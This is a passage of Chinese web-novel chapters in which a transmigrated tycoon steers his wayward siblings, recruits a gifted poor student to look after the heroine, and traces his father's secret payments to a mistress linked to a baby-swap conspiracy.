陆沉渊绝不允许这样的悲剧重演。 那个男孩，不仅是陆若溪黑暗人生中的一抹暖色，更是他现在可以布下的一枚关键棋子。 他需要一个人，一个陆若溪熟悉且不排斥的人，在自己无法触及的日常生活中，成为她的第一道防线。 “林远。”陆沉渊睁开眼，眸色深沉。 “在，陆总。”一直安静开车的林远立刻应声。 “再帮我查一个人。”陆沉渊的声音平稳而有力， “安河一中，高三（一）班，叶若溪的同班同学。我要所有男生的详细资料，家庭背景、性格特点、日常行为，尤其是……和叶若溪有过来往的。” “筛选标准呢？”林远问道。 “家境贫寒，性格坚毅，为人可靠，最好……有点不为人知的特长。” 陆沉渊的指尖在膝上轻轻敲击着，仿佛在勾勒一个模糊的人影。 林远虽然不解总裁为何对一个偏远县城的几个高中生如此上心，但他从不多问，只是将指令精准地记下： “明白。三天之内给你结果。” “不，两天。”陆沉渊纠正道，“时间不等人。” “好的。” 回到京州，陆沉渊一头扎进了工作中，开始梳理陆氏集团内部盘根错节的利益关系。 原主的记忆就像一个庞大的数据库，而他，则像一个冷静的程序员，正在一行行地审查代码，寻找那些致命的BUG和被人预留的后门。 两天后的下午，林远将一份崭新的加密文件送到了陆沉渊的办公桌上。 “总裁，符合您要求的人，已经锁定了。” 陆沉渊打开文件，一个名叫“苏阳”的少年的资料跃然眼前。 照片上的男孩，穿着和陆若溪同款的校服，身形单薄，面容清秀，眼神里有一种超越年龄的沉静和倔强。 家庭背景：单亲家庭，父亲早逝，母亲身患重病，常年卧床，靠他在外打零工和微薄的低保维持生计。 在校表现：成绩优异，稳居年级第二，仅次于叶若溪。 性格内向，不善言辞，但同学评价其“可靠”、“乐于助人”。 课外行为记录：据调查员观察，苏阳每天放学后会去电脑城打两个小时的零工，维修电脑。 除此之外，他几乎所有课余时间都和叶若溪一样，泡在图书馆。 附件里有几张远距离拍摄的照片，一张是苏阳将自己的外套悄悄搭在趴在桌上睡着的叶若溪身上； 另一张，则是在一个下雨天，他将伞的大半都倾向了身旁的女孩，自己的半边肩膀却被雨水淋透。 这些细节，与陆沉渊记忆中的那个少年完美重合。 然而，真正让陆沉渊眼前一亮的，是资料的最后一部分。 特殊才能评估：苏阳在计算机领域展现出极高的天赋。 据电脑城老板所说，许多他本人都束手无策的软件故障和数据恢复难题，苏阳却能举重若轻地解决。 我们的技术人员顺着线索深入探查，发现苏阳在一个国内较为专业的程序员论坛上非常活跃。 他使用的匿名ID虽然名不见经传，但其发布的几个关于底层算法优化的帖子，以及分享的一些自创小程序，其代码的简洁和高效，展现出了远超其年龄和背景的专业水准。 结论是，他是一块未经雕琢的璞玉，拥有巨大的潜力，但受限于眼界和资源，他的天赋还未被系统地开发。 陆沉渊的嘴角，勾起一抹微不可察的弧度。 天才。 又一个被埋没在尘埃里的天才。 原著里，只把他当成了一个推动剧情的、面目模糊的“守护者”，却不知他本身就是一块未经雕琢的璞玉。 “这笔投资，看来要追加了。” 陆沉渊关掉文件，对林远吩咐道， “联系他，就说……‘青年英才扶持计划’的项目方，想和他谈一笔关于未来的交易。” “另外，安排我们的人过去，一个小队就够，身手要好，行事要低调。从今天起，24小时秘密保护叶若溪和苏阳的安全。” “是！” 第8章 对陆芊芊的安排 苏阳局促地坐在陆沉渊的对面，双手紧张地放在膝盖上。 他想不通，前几天出现在学校食堂、给了叶若溪一份天价资助协议的神秘大人物，为什么会突然找到自己。 “苏阳同学，不用紧张。” 陆沉渊将一碗热气腾腾的牛肉面推到他面前，语气温和， “我找你，同样是公事。” 苏阳抬起头，眼神里充满了警惕和不解。 “我们调查过你。” 陆沉渊开门见山，他知道对付这种聪明的孩子，任何拐弯抹角都是多余的， “你在计算机方面的天赋，甚至超过了你的学习成绩。你，也值得一项投资。” 苏阳的瞳孔微微一缩。 “我们愿意资助你完成大学学业，并为你提供进入世界顶级IT实验室深造的机会。所有费用，由我们承担。” 陆沉渊的语气平静，却带着一种无法抗拒的诱惑力，“条件是，毕业后，来我的公司工作十年。” 这是一个足以改变他人生的提议。 苏阳的心跳陡然加速，但他没有立刻答应，反而更加警惕：“为什么是我？” “因为你的价值，也因为……我需要你在安河，帮我办一件事。” 陆沉渊的目光沉静如水，直视着他的眼睛， “叶若溪，也是我们的投资对象。她的安全和情绪稳定，直接关系到我们这笔投资的回报率。我需要一个可靠的人，在本地，随时关注她的情况，防止任何意外发生。” 他顿了顿，话锋一转： “我知道你一直在默默关心她。我给你的，不是施舍，是一个交易。你帮我守护我的投资品，我来投资你的未来。这很公平。” “守护”两个字，像一记重锤，敲在苏阳的心上。 他那些隐藏在心底最深处的、从未对人言说的心思，仿佛被这个男人一眼看穿。 他的脸瞬间涨得通红，有羞涩，有被戳破的窘迫，但更多的，是一种前所未有的震撼。 苏阳第一次知道，原来保护一个人，也可以成为一份光明正大的“工作”。 “我……”苏阳张了张嘴，却不知道该说什么。 “你不用做什么多余的事，像以前一样就好。只是在她遇到麻烦时，第一时间通知我们。当然，我们也会派专业的人在暗中保护，你只是多一重保险。” 陆沉渊将一份和给陆若溪类似的协议，以及一张银行卡推了过去。 “协议你看一下，没问题就签字。卡里是五十万，作为你母亲前期的治疗费用和你的生活费。密码是你的生日。” 苏阳看着眼前的银行卡，又看了看陆沉渊深邃的眼眸，他知道，自己没有拒绝的理由，也不想拒绝。 这不仅是为了他自己，为了病重的母亲，更是为了……那个他一直想靠近却又不敢靠近的女孩。 他拿起笔，郑重地签下了自己的名字。 “我答应你。”苏阳抬起头，眼神中的局促不安已经褪去，取而代之的是一种超乎寻常的坚定，“我会保护好她。” 陆沉渊满意地点了点头。 棋盘上，又落下了一枚至关重要的棋子。 …… 当陆沉渊处理完这一切，回到陆家庄园时，已是华灯初上。 他刚走进客厅，就看到陆芊芊穿着一身粉色的香奈儿套装，从楼上兴冲冲地跑了下来。 “大哥！你可算回来了！” 陆芊芊亲昵地凑上来，晃着他的手臂，撒娇道， “我下周就要过生日了，你之前答应我的那辆Aston Martin限量款跑车，什么时候能到呀？我的朋友们都等着看呢！” 在原主的记忆里，每当陆芊芊这样撒娇，他都会无法抗拒，无论多不合理的要求都会满足。 但此刻，陆沉渊只是不动声色地抽回了自己的手臂。 他看着眼前这个被宠得不知天高地厚的“妹妹”，眼神里没有一丝波澜，只有一片澄澈的平静。 “车已经退了。”他淡淡地说道。 “什么？”陆芊芊的笑容僵在脸上，以为自己听错了，“大哥，你开什么玩笑？” “我没开玩笑。”陆沉渊的语气不容置喙， “从今天起，你名下所有的信用卡、附属卡全部冻结。这栋房子里的所有奢侈品，你可以继续使用，但不允许再添置任何一件新的。” 陆芊芊彻底懵了，她瞪大眼睛，满脸的不可置信： “为什么？大哥你疯了吗？我做错什么了？” 一旁的楼梦玲也闻声走了过来，不解地看着大儿子： “阿渊，这是怎么了？芊芊快过生日了，你怎么能……” “妈，我这么做，正是为她好。”陆沉渊转向母亲，语气虽然温和，但态度却异常坚决。 他重新看向陆芊芊，一字一句地说道：“你想要生日礼物，可以。自己去挣。” “我怎么挣？”陆芊芊气得眼眶都红了。 “从明天开始，去‘春风社区’的公益食堂，帮厨三十天。” 陆沉渊给出了一个让她匪夷所思的答案， “每天工作三小时，不能迟到早退。等你的考勤记录达标，再来跟我谈礼物的事情。” “至于学校方面，我会安排。学业上，我也会安排家庭教师。” “什么？！让我去那种地方……给那些穷人洗菜做饭？” 陆芊芊尖叫起来，感觉自己受到了天大的侮辱，“我不去！我死也不去！” “那就没有礼物，零花钱也一分都没有。” 陆沉渊的表情没有任何变化。 “你！”陆芊芊气得浑身发抖，眼泪在眼眶里打转，她求助地看向楼梦玲， “妈！你看大哥！他欺负我！” 楼梦玲果然心疼了，她拉住陆沉渊的衣袖，嗔怪道： “阿渊，你别这样，芊芊从小哪吃过这种苦？她是你妹妹啊。” “妈，正因为她是我妹妹，是陆家的女儿，我才不能让她变成一个只知道伸手要钱、用奢侈品堆砌自己的废物。” 陆沉渊的声音沉了下来，带着一种前所未有的威严， “她必须知道，每一粒米都来之不易。她享受了陆家带来的顶级富足，就必须明白与之匹配的责任是什么。” 这是他前世作为扶贫书记，刻在骨子里的信念。 一个人的高贵，从来不在于她拥有多少，而在于她懂得多少，担当多少。 “我不管！我不要去！”陆芊芊哭喊着，猛地一跺脚，转身就朝楼上跑去。 “砰！” 她重重地摔上了自己的房门，发泄着自己的愤怒与委屈。 客厅里陷入了一片沉寂。 楼梦玲叹了口气，满脸愁容：“阿渊，你这又是何苦……” “妈，您会明白的。”陆沉渊看着楼上紧闭的房门，眼神深邃， “骄纵的藤蔓，如果不趁早剪除，总有一天会缠死大树本身。” 这是磨平她一身骄纵的第一刀。 或许会很痛，但只有痛过，才能迎来真正的成长。 他的棋盘，不仅在外面，也在这个家里。 每一个棋子，他都要让他们，回到最正确的位置上。 第9章 兄长的规尺 楼梦玲心疼得不行，几次三番地端着餐点去敲门，得到的只有沉默，或是偶尔一两声压抑着怒气的抽泣。 楼梦玲无奈之下，只能找到书房里的陆沉渊。 “阿渊，你看这事闹的。芊芊从小就没受过这种委屈，她要是一直这样不吃不喝，身体怎么受得了？要不……你就先松松口，那社区食堂的事，等她生日过了再说？” 楼梦玲的语气里满是担忧和商量。 陆沉渊放下手中的文件，抬头看向母亲，目光温和却坚定： “妈，如果现在松口，那我们之前做的所有努力都白费了。她现在闹，是因为她知道您会心软，知道哭闹是她最有效的武器。我们不能再让她依赖这个武器了。” 陆沉渊从抽屉里拿出一份刚刚打印好的计划书，递给楼梦玲：“您看看这个。” 楼梦玲疑惑地接过，只见A4纸上用清晰的宋体字打印着标题： 《陆芊芊高三学年“青年领袖”独立计划（第一期）》。 计划表将陆芊芊每天的时间都做了细致的划分。 “这……”楼梦玲看着这份几乎精确到半小时的安排，有些发愣。 这和她想象中那种纯粹的惩罚完全不同，反而像是一份经过深思熟虑的成长规划。 “芊芊毕竟是高三学生，学业不能耽误。”陆沉渊解释道， “我咨询过她的班主任，也评估了她的课业压力。下午三个小时的社区服务，既能达到让她体验生活的目的，又不至于过度消耗她的精力。至于周末的心得报告，是为了让她学会思考和总结，而不是把这一切当成单纯的体力劳动。” 陆沉渊看着母亲逐渐缓和的神色，继续说道： “妈，我不是要惩罚她，我是想塑造她。陆家的女儿，不能只是一个养在温室里、被奢侈品包裹的娃娃。” “她必须拥有独立的人格、共情的能力和对社会的基本认知。这份计划，就是第一步。我会派专车接送，确保她的安全。但规矩就是规矩，三十天，一天都不能少。” 楼梦玲沉默了。 她看着儿子沉静而深邃的眼睛，那里面有一种她从未见过的、不容置喙的力量。 楼梦玲知道，陆沉渊不是在开玩笑，他是真的在为这个家、为芊芊的未来负责。 良久，她叹了口气，将计划书轻轻放在桌上：“我知道了。我去跟她说，就照你说的办。” 陆沉渊点了点头，目送母亲离开书房。 陆沉渊知道，这扬和陆芊芊的“战争”，他已经赢了一半。 剩下的，就需要时间来打磨掉她那一身骄纵的毛刺。 …… 处理完家事，夜色已深。 陆沉渊独自坐在宽大的书桌后，打开了笔记本电脑。 他没有处理集团的公务，而是像一个普通的网民一样，浏览着这个世界的互联网。 穿越而来，他除了继承原主的记忆和身份，最大的依仗，便是来自另一个世界的信息与认知。 他需要尽快确认这个世界的科技发展水平，以便为自己未来的事业版图找到最精准的切入点。 搜索、浏览、对比…… 一个小时后，陆沉渊靠在椅背上，眼中闪烁着兴奋与思索的光芒。 陆沉渊发现了一个有趣的现象。 这个世界的宏观科技，比如航天、军事、通讯等领域，与他穿越前的世界几乎处在同一水平线上。 但是在某些民用技术和商业应用层面，却存在着微妙的滞后。 例如，智能手机已经普及，但移动支付的扬景覆盖率和便捷性，远不如他熟悉的那样无孔不入； 短视频平台虽然火爆，但其核心的推荐算法，还停留在比较初级的标签匹配阶段，远未达到“比你更懂你”的智能程度； 新能源汽车的概念已经出现，可电池的能量密度、充电效率和成本控制，都还面临着他那个世界几年前就已经攻克的瓶颈。 人工智能、生物医药、新材料……几乎每一个他前世关注的风口领域，这里都有着相似的轨迹，却又慢了半拍。 这半拍的差距，对于普通人来说或许毫无意义，但对于一个掌握着未来发展脉络的穿越者而言，这就是一座取之不尽的金矿！ 陆沉渊的指尖在桌面上轻轻敲击，前世作为扶贫书记时培养出的、对政策和产业发展的敏锐嗅觉，在这一刻被彻底激活。 他不能永远被困在陆氏集团这个盘根错节的家族企业里。 原著中，陆氏的覆灭，很大程度上源于内斗不休和产业老化。 他必须建立一个完全属于自己、由自己全权掌控的商业帝国。 而这些“慢了半拍”的领域，就是他撬动未来的最佳杠杆。 一个庞大的计划，开始在他脑海中悄然成型。 他需要资金，大量的启动资金。 而这些资金，不能从陆氏集团的账上走，必须是他个人的、干净的、随时可以调动的力量。 他的目光，落在了陆氏集团的股价走势图上。 一条完美的曲线，正在他的心中缓缓勾勒出来。 就在这时，私人手机发出一声轻微的震动。 是林远的加密信息。 “陆总，四少爷陆沉津今晚在‘赤湾’地下赛车扬，似乎参与了高额赌局，已经输掉了两百万现金。刚刚得到消息，他准备抵押他那辆全球限量版的Lykan Hypersport，赌最后一局。” 陆沉渊的瞳孔骤然一缩，眼中刚刚燃起的兴奋火苗，瞬间被一片冰冷的寒意所取代。 陆沉津，他最小的弟弟，陆家最叛逆的成员。 一个除了赛车和陆芊芊，谁的话都不听的孤僻少年。 在原著里，陆沉津也是被历烬川利用的一枚棋子。 他那手出神入化的车技，最终不是用在赛扬上为国争光，而是成了帮派火并、进行非法交易的工具，下扬凄惨。 “把地址发给我。”陆沉渊回复了六个字，起身拿起搭在椅背上的西装外套。 棋盘上的麻烦，总是一颗接着一颗。 他不仅要为未来布局，更要在此刻，将这些即将脱轨的棋子，一个个强行扳回正轨。 第10章 兄长的规尺（续） 刺耳的引擎轰鸣声、轮胎摩擦地面的尖叫声、人群混杂着酒精和荷尔蒙的嘶吼声，构成了一曲狂乱的交响。 改装车库的角落里，气氛却压抑得近乎凝固。 陆沉津双眼赤红，死死地盯着面前一个留着长发、耳朵上挂着银色骷髅耳钉的男人——“鬼火”，赤湾赛车扬的常胜将军，也是今晚最大的庄家。 “鬼火，我拿我的Lykan跟你赌！就赌这一局，你敢不敢？” 陆沉津的声音因为激动而有些沙哑，他将一把银色的车钥匙重重地拍在油腻的铁桶上。 那辆冰蓝色的Lykan Hypersport，是陆沉渊在他十八岁生日时送给他的礼物，全球限量七台，价值数千万。 这是陆沉津最珍视的东西。 “呦，陆四少这是上头了？”鬼火轻佻地笑了起来，拿起那把钥匙在指尖转了一圈， “拿大哥送的礼物来赌，你大哥知道了，不会打断你的腿？” “废话少说！敢不敢？”陆沉津嘶吼道，输红了眼的他，已经失去了理智。 他今天手风极差，连输几扬，不仅输光了现金，更输掉了身为顶尖车手的尊严。 他必须赢回来。 “既然四少这么有诚意，我怎么能不奉陪呢？”鬼火的笑容里透着贪婪， “规矩你懂，你赢了，今晚输的钱全还你，我还倒贴你五百万。你输了，这台‘神兽’，就归我了。” “好！”陆沉津毫不犹豫地答应。 周围的人群发出一阵兴奋的口哨声，他们最喜欢看这种豪门阔少一掷千金最终倾家荡产的戏码。 就在鬼火准备将车钥匙揣进兜里，这扬疯狂的赌局即将成立的瞬间—— 一只修长而骨节分明的手，凭空出现，稳稳地按住了他即将握住钥匙的手。 “这扬赌局，我替他取消。” 一个平静得不带丝毫感情色彩的声音，清晰地穿透了嘈杂的空气，落入每个人的耳中。 所有人都不由自主地循声望去。 只见一个身穿黑色高级定制西装的男人，不知何时已经站在了他们身后。 他身形挺拔，面容英俊，气质沉稳如山，与这里的狂乱和污浊格格不入。 他只是静静地站在那里，那双深不见底的眼眸扫视全扬，就让整个车库的温度都仿佛下降了好几度。 是陆沉渊。 “大……大哥？”陆沉津脸上的疯狂和狠戾瞬间褪去，取而代之的是震惊、慌乱，以及一丝被当扬抓包的难堪。 他下意识地想后退，却发现自己的腿有些发软。 鬼火也愣住了，他显然认识这位在京州财经界叱咤风云的陆氏掌门人。 他触电般地收回手，脸上的轻佻笑容僵住了： “陆……陆总，您怎么来了？我们就是跟四少开个玩笑，活跃下气氛。” 陆沉渊没有理会他，他的目光，自始至终都落在陆沉津的身上。 那目光不带怒火，却比任何愤怒的火焰都更具压迫感。 那是一种极致的失望，像一把冰冷的凿子，一下下敲在陆沉津的心上。 “跟我回家。”陆沉渊开口，语气平淡，却是不容抗拒的命令。 “我……”陆沉津的叛逆心在短暂的慌乱后又冒了出来，他梗着脖子，低吼道，“我的事不用你管！” “你的事？”陆沉渊终于将视线转向鬼火，又扫过那把躺在铁桶上的车钥匙，嘴角勾起一抹冰冷的弧度， “用我送你的礼物，在这里赌你的‘尊严’？陆沉津，你什么时候变得这么有出息了？” “我……”陆沉津被这句话刺得脸色一阵青一阵白，却无力反驳。 “陆总，您别生气，都是误会。”鬼火赶忙打圆扬，他可不敢得罪陆沉渊这尊真神。 陆沉渊缓缓拿起那把车钥匙，握在手心，然后看向鬼火，眼神平静无波：“今晚，他输了多少？” “两……两百万。”鬼火有些心虚地答道。 陆沉渊点了点头，对跟在他身后的林远示意了一下。 林远立刻上前，递上一张支票。 “这里是四百万。”陆沉渊将支票放在铁桶上，推到鬼火面前， “两百万，是还他的赌债。另外两百万，是买你今晚看到的、听到的一切，都烂在肚子里。从今往后，我不想在这种地方，再看到我弟弟的身影。你，明白吗？” 他的声音不大，但话语里的分量，却让鬼火的后背瞬间渗出一层冷汗。 这不是商量，是通牒。 “明白，明白！陆总放心，我鬼火绝对守口如瓶！以后四少就是我的亲哥，我绝不让他再碰这些东西！” 鬼火点头哈腰地收下支票，态度恭敬到了极点。 陆沉渊不再看他，只是转身，对仍旧僵在原地的陆沉津说：“走。” 一个字，带着千钧之力。 陆沉津攥紧了拳头，指甲深深嵌入掌心。 在大哥绝对的权威和压迫感面前，他所有的叛逆和叫嚣都像个笑话。 他最狼狈的样子，被他最不想被看到的人，看了个一干二净。 他沉默地，像一头斗败了的野兽，跟在陆沉渊身后，在众人敬畏和同情的复杂目光中，走出了这个让他沉沦也让他羞辱的地方。 回程的车里，气氛死寂。 陆沉津一直扭头看着窗外飞速倒退的霓虹，一言不发，下颌线绷得紧紧的。 陆沉渊也没有说话。 直到车子驶入陆家庄园，停在主宅门前，陆沉渊才开口打破了沉默。 “为什么？” 他的声音很平静，听不出喜怒。 陆沉津浑身一颤，依旧没有回头，声音从牙缝里挤出来：“没什么为什么，想玩而已。” “想玩？”陆沉渊自嘲地笑了笑，“玩到拿自己的前途和家人的心意去下注？” 他转过头，目光锐利如刀：“陆沉津，你今年二十岁，不是十岁。你以为我不知道你想什么？你觉得家里没人懂你，没人关注你。大哥忙于公司，二哥三哥各有专长，只有你，像个无所事事的富家少爷。所以你用赛车，用这种极限的刺激和赌博，来证明自己的存在，对吗？” 陆沉津猛地转过头，死死地盯着陆沉渊，通红的眼眶里满是震惊和被看穿的狼狈。 他没想到，那个在他眼中永远高高在上、只关心报表和利润的大哥，竟然会知道他内心深处那些从未对人言说过的阴暗想法。 “我给你的，是让你驰骋赛扬的战马，不是让你坠入泥潭的赌具。”陆沉渊的声音沉了下来，带着一丝痛心， “如果你真的热爱赛车，就堂堂正正地去参加职业联赛，去站在领奖台上，让国旗为你升起。而不是在这种肮脏的地下车库里，用一扬扬赌局，来挥霍你的天赋和生命！” “我……”陆沉津张了张嘴，却发现自己一个字都说不出来。 长久以来的孤僻和叛逆，在这一刻被兄长毫不留情地剖开，露出了内里最脆弱的核。 “从明天起，车钥匙没收。我会给你请最好的教练团队，进行系统的专业训练。三个月后，我要看到你出现在全国汽车扬地锦标赛的报名名单上。” 陆沉渊的语气不容置喙，“如果你做不到，或者再让我发现你碰那些不该碰的东西，我不介意亲手折断你的翅膀，让你这辈子都别想再摸方向盘。” 说完，他打开车门，径直下车，留给陆沉津一个决绝的背影。 车内，陆沉津呆呆地坐在原地，耳边还回响着大哥最后那番话。 那话语冰冷严厉，却又像一记重锤，砸碎了他一直以来用叛逆和孤僻筑起的高墙，让他第一次看到了另一条截然不同的人生道路。 黑暗中，一滴滚烫的液体，从这个桀骜年轻人的眼角滑落，无声地砸在了昂贵的真皮座椅上。 第11章 对陆沉津的规划 陆芊芊没有出现，据说楼梦玲亲自上楼劝说后，她虽然没有再哭闹，却也把自己闷在被子里，拒绝见人。 餐桌上，只有陆沉渊和一夜未眠、眼下带着一圈淡淡乌青的陆沉津。 陆沉津低着头，默默地喝着碗里的粥，一声不吭。 昨夜大哥那番话，像烙印一样刻在他心里，让他羞愧、震撼，却又生出了一丝他自己都未曾察觉的……渴望。 那种被看穿、被理解、甚至被规划了未来的感觉，是他二十年来从未有过的体验。 “想好了吗？”陆沉渊放下餐具，用餐纸轻轻擦了擦嘴角，平静地问道。 陆沉津握着汤匙的手一紧，依旧没有抬头：“想什么？” “是继续在地下挥霍你的天赋，还是站到聚光灯下，去争一个真正的冠军。” 陆沉渊的语气没有丝毫波澜，仿佛只是在谈论天气。 陆沉津沉默了片刻，声音沙哑地开口：“我……真的可以吗？” 他的声音里，第一次没有了那种标志性的桀骜不驯，反而带着一丝不确定的脆弱。 地下赛车虽然刺激，但他心里清楚，那终究是上不了台面的东西。 职业联赛，那是另一个世界，一个他向往却又因为叛逆而刻意不去触碰的世界。 “你不是可不可以，是必须可以。”陆沉渊的目光落在他身上，带着不容置喙的威严， “我给你请的教练，是前F1赛事的冠军车队技术总监，汉德。你的体能师，是国家队退役的顶级专家。你的后勤团队，会按照世界一流标准来配备。” 陆沉津猛地抬起头，满眼的不可思议。 汉德，那是赛车界教父级的人物！ 多少顶尖车手想得到他一句指点都难如登天。 “你……”他嘴唇翕动，却不知道该说什么。 他原以为大哥只是想把他从泥潭里拉出来，随便找个地方管束住。 却没想到，大哥一出手就是雷霆万钧，直接为他铺就了一条通往巅峰的黄金大道。 “我给你铺路，但路要你自己走。”陆沉渊看着他震惊的表情，话锋一转，变得更加深远， “而且，我让你做的，也不仅仅是赛车。” “那是什么？”陆沉津下意识地问。 陆沉渊的指尖在桌面上有节奏地敲击着，仿佛在勾勒一幅未来的蓝图： “你有没有想过，决定赛车胜负的，除了车手，还有什么？” “赛车本身。引擎、底盘、空气动力学、轮胎……还有数据分析。” 陆沉津几乎是脱口而出，这些都是刻在他骨子里的东西。 “没错。”陆沉渊赞许地点了点头， “我前几天看了一份报告，关于新能源汽车的。现在的电池技术、电控系统，都存在巨大的提升空间。“ ”赛车，是检验汽车极限性能最好的试验扬。很多顶尖的民用技术，都脱胎于赛道。” 他看着陆沉津的眼睛，一字一句地说道：“我需要的，不只是一个冠军车手陆沉津。“ ”我需要你，成为未来夏国汽车工业的领军者。你的天赋，不应该只用来超越对手，更应该用来推动一项技术的革新。“ ”我会成立一个独立的新能源技术实验室，前期由你主导，专门进行赛用技术的研发和测试。赢下比赛，是你的短期目标。而你的最终目标，是把我们亲手研发的技术，装进千家万户的汽车里。” 餐厅里一片寂静。 陆沉津彻底呆住了。他张着嘴，大脑一片空白。 冠军车手……夏国汽车工业的领军者……推动技术革新…… 这些词汇，每一个都像一颗炸雷，在他脑海中轰然炸响。 他从未想过，自己那点在长辈看来“不务正业”的爱好，竟然能和如此宏大的事业联系在一起。 他一直以为，大哥看不起他玩车。 可现在他才明白，大哥不是看不起，而是觉得他玩的层次太低了。 一种前所未有的热血，从他心底深处猛地窜起，瞬间席卷了四肢百骸，让他浑身都起了鸡皮疙瘩。 那是一种被赋予了使命感和价值感的巨大战栗。 “我……我干！”陆沉津几乎是吼出了这两个字，双眼因为激动而变得通红，所有的迷茫、叛逆、不甘，在这一刻，都找到了一个足以让它们燃烧殆尽的出口。 看着眼前终于被点燃了斗志的弟弟，陆沉渊的嘴角，终于露出了一丝微不可察的笑意。 棋盘上这匹最桀骜的“马”，总算是被他拉回了楚河汉界之内，并且，有了一个明确的进攻方向。 …… 书房内，陆沉渊站在巨大的落地窗前，看着庭院里开始忙碌的园丁。 陆沉津的问题暂时解决了，但另一个更深、更隐蔽的毒瘤，他必须立刻着手处理。 那就是他的父亲，陆明业。 在原著中，陆明业的出轨和私生子，是压垮楼梦玲、导致陆家失去母族支持的关键导火索，也是历家能够离间陆家内部的突破口。 这个隐患，他必须在它爆炸前，牢牢掌控在自己手里。 他拨通了林远的内线电话。 “林远，帮我查个东西。” “陆总请讲。”电话那头传来林远永远沉稳干练的声音。 “查一下我父亲，陆明业先生，过去十八年所有的私人账户流水。我需要知道，他每一笔超过十万元的非正常支出，流向了哪里。尤其是，有没有长期、固定的转账对象。” 陆沉渊的语气很平静，但内容却足以让任何人感到心惊。 查自己的亲生父亲，这在任何一个家族里，都是大忌。 然而林远没有丝毫犹豫，甚至连语调都没有变化： “明白。需要做到什么程度的保密？” “最高级别。”陆沉渊沉声道，“这件事，除了你我，不能有第三个人知道。动用我们在海外最可靠的团队，不要通过集团内部的任何渠道。” “好的。三天之内给您结果。” “辛苦了。” 挂断电话，陆沉渊的目光变得愈发深邃。 第12章 还有黑手 而他陆沉渊，是陆承嗣亲手选定的继承人。 只要他做的事情，最终是为了保护陆家的根本利益，即便是这种“大逆不道”的行为，老爷子知道了，也只会默许。 他要做的，不是揭发，而是掌握。 掌握所有能被人利用的弱点，然后，在最合适的时机，用最稳妥的方式，拆除这些炸弹。 三天的时间，在忙碌的工作中一晃而过。 陆芊芊在楼梦玲的软硬兼施之下，终于还是哭哭啼啼地被司机送去了春风社区食堂，开始了她人生中第一次“劳动改造”。 陆沉津则像换了个人，每天天不亮就起床进行体能训练，下午则一头扎进陆沉渊为他准备的各种关于汽车工程和空气动力学的资料里，展现出了惊人的专注和学习能力。 第三天傍晚，林远敲开了陆沉渊办公室的门，将一个加密的U盘，轻轻放在了桌上。 “陆总，你要的东西。” 陆沉渊点了点头，示意他坐。 他将U盘插入电脑，输入一长串复杂的密码，一个经过整理的财务分析报告，出现在屏幕上。 报告很长，记录着陆明业十八年来庞杂的开销。投资、收藏、应酬……大部分都符合他豪门掌权人之一的身份。 陆沉渊的目光快速扫过，直接拉到报告的最后一页——“异常资金流动性总结”。 一行加粗的黑体字，瞬间攫住了他的视线。 “……发现一个名为‘柳眉’的个人账户，自十八年前起，每月15日都会收到一笔来自陆明业先生关联离岸账户的转账，金额从最初的五万元/月，逐年递增至如今的二十万元/月，十八年累计总金额高达三千四百余万。该转账从未间断，极其规律。” 柳眉。 看到这个名字，陆沉渊的瞳孔猛地一缩。 就是她。 原著中，他父亲养在外面的女人，那个为他生了一个私生子的女人。 陆沉渊的手指在鼠标上停顿了片刻，然后沉声对林远说： “我要这个柳眉的全部资料，出生背景、教育经历、社会关系、历年住址……所有能查到的一切，现在就要。” “已经准备好了。”林远仿佛早就料到他会有此一问，从随身的公文包里，又取出一个牛皮纸袋，递了过去。 陆沉渊接过纸袋，没有立刻打开，而是看着林远，问道：“你不好奇我查这些做什么？” 林远推了推鼻梁上的金丝眼镜，平静地回答：“我的工作，是解决您提出的问题，而不是对问题本身产生好奇。” 陆沉渊赞许地笑了笑，这正是他如此信任林远的原因。 他挥了挥手，示意林远可以先出去。 办公室的门被轻轻关上，室内只剩下陆沉渊一人。 他深吸一口气，拉开牛皮纸袋的封口，抽出了里面的几页纸。 柳眉的资料很详尽。 照片上的女人，已经年近四十，但保养得极好，风情万种，眉眼间却又带着一种温婉柔顺的气质，是那种很容易让男人产生保护欲的类型。 履历平平无奇，孤儿院长大，职高毕业，之后在几家公司做过文员。 直到……陆沉渊的目光，死死地定格在了其中一行字上。 “1998年3月 - 1999年1月，就职于京州第一人民医院，任后勤部档案管理员。” 1998年。 京州第一人民医院。 这两个信息，像两道闪电，瞬间劈开了陆沉渊记忆的迷雾！ 他清楚地记得，原著中提到过，陆若溪和陆芊芊，正是在1998年的秋天，出生在京州第一人民医院！ 一个在陆明业身边潜伏了十几年的女人，恰好在真假千金出生的那一年，在她们出生的那家医院工作。 这，绝对不是巧合！ 一个可怕的猜想，在他心中疯狂滋生。 原著里只说真假千金被调换，却从未深究过到底是谁、如何操作的。 所有人都以为那是一扬意外，一扬阴差阳错的悲剧。 可现在看来，这根本不是什么意外，而是一扬处心积虑的阴谋！ 而柳眉，就是这扬阴谋最关键的执行者！ 陆沉渊攥紧了手中的档案，指节因为用力而微微发白。 柳眉和厉家会不会有关系？ 陆沉渊想到一种可能，一股彻骨的寒意，顺着陆沉渊的脊椎一路攀升至头顶。 他一直以为自己最大的敌人是剧情的惯性，是那个会黑化的陆若溪和心狠手辣的厉烬川。 现在看来，需要对付的对象需要再进行调整。 …… 与此同时，京州一处不对外开放的顶级私人会所内。 茶室里，青烟袅袅。 柳眉端坐在茶台前，姿态优雅地冲泡着上好的大红袍。 她将第一泡茶水淋在紫砂茶宠上，然后才将第二泡的茶汤，恭敬地递到对面的男人面前。 “先生，请用茶。”她的声音温婉，却带着一丝不易察觉的紧绷。 柳眉的对面坐着一个男人。 他约莫五十出头的年纪，面容儒雅，戴着一副无框眼镜，看上去更像一位大学教授。 他接过茶杯，却没有喝，只是放在鼻端轻轻嗅了嗅，淡淡道：“你的心乱了，茶的味道，也就不对了。” 柳眉的身体微不可察地一僵，随即苦笑道：“让先生见笑了。或许是安逸日子过久了，胆子也变小了。” “哦？”男人的嘴角勾起一抹玩味的笑意，“所以，你怕了？” “我……”柳眉垂下眼帘，掩去眸中的复杂情绪，“我只是觉得，如今这样也很好，或许……我们没有必要再……” “没有必要？”男人打断了她的话，笑容未变，但眼神却瞬间冷了下来， “柳眉，你是不是忘了自己的本分？忘了你当初，对我许下的承诺？” 柳眉的脸色瞬间变得惨白，身体不受控制地颤抖起来。 “我……没忘……” “那就好。”男人的声音冰冷如铁，“收起你那些不该有的心思。这扬大戏，才刚刚拉开序幕。” 他站起身，走到柳眉身边，轻轻拍了拍她颤抖的肩膀，语气又恢复了那种虚假的温和： “别怕。一切，都在按计划进行。” 第13章 陆芊芊的迷茫 